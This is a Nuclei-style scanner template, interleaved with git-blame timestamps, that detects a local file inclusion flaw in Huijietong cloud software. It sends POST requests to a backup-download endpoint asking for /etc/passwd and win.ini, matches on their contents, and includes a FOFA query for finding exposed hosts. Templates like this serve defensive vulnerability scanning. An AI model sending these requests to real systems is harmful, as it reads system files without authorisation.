2021-07-05 16:29:12 +00:00
|
|
|
id: huijietong-cloud-fileread
|
2022-04-22 10:38:41 +00:00
|
|
|
|
2021-07-05 16:29:12 +00:00
|
|
|
info:
|
2022-08-05 13:57:51 +00:00
|
|
|
name: Huijietong - Local File Inclusion
|
2022-05-08 12:41:28 +00:00
|
|
|
author: princechaddha,ritikchaddha
|
2021-07-05 16:29:12 +00:00
|
|
|
severity: high
|
2023-10-14 11:27:55 +00:00
|
|
|
description: Huijietong is vulnerable to local file inclusion.
|
2022-05-08 12:41:28 +00:00
|
|
|
metadata:
|
2023-04-28 08:11:21 +00:00
|
|
|
max-request: 2
|
2022-05-08 12:41:28 +00:00
|
|
|
fofa-query: body="/him/api/rest/v1.0/node/role"
|
2021-07-05 16:29:12 +00:00
|
|
|
tags: huijietong,lfi
|
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-07-05 16:29:12 +00:00
|
|
|
- method: POST
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/fileDownload?action=downloadBackupFile"
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2021-07-05 16:29:12 +00:00
|
|
|
body: 'fullPath=/etc/passwd'
|
2022-05-08 12:44:47 +00:00
|
|
|
|
2022-05-08 12:41:28 +00:00
|
|
|
- method: POST
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/fileDownload?action=downloadBackupFile"
|
2023-10-14 11:27:55 +00:00
|
|
|
|
2022-05-08 12:41:28 +00:00
|
|
|
body: 'fullPath=/Windows/win.ini'
|
2021-07-05 16:29:12 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
2022-05-08 12:41:28 +00:00
|
|
|
part: body
|
2021-07-05 16:29:12 +00:00
|
|
|
regex:
|
2022-03-22 08:01:31 +00:00
|
|
|
- "root:.*:0:0:"
|
2022-05-09 08:01:15 +00:00
|
|
|
- "\\[(font|extension|file)s\\]"
|
2022-05-08 12:41:28 +00:00
|
|
|
condition: or
|
2021-07-05 16:29:12 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 4a0a00473045022100cc007c4c1b86b350cb3a8e9436c41fb8531686862c80655c7f082156e16e19b002202c4217904bdf698646fb0fd53c3ca1978fb9c6763d5d3b0d46ff1c8c17b1ebcc:922c64590222798bb761d5b6d8e72950
|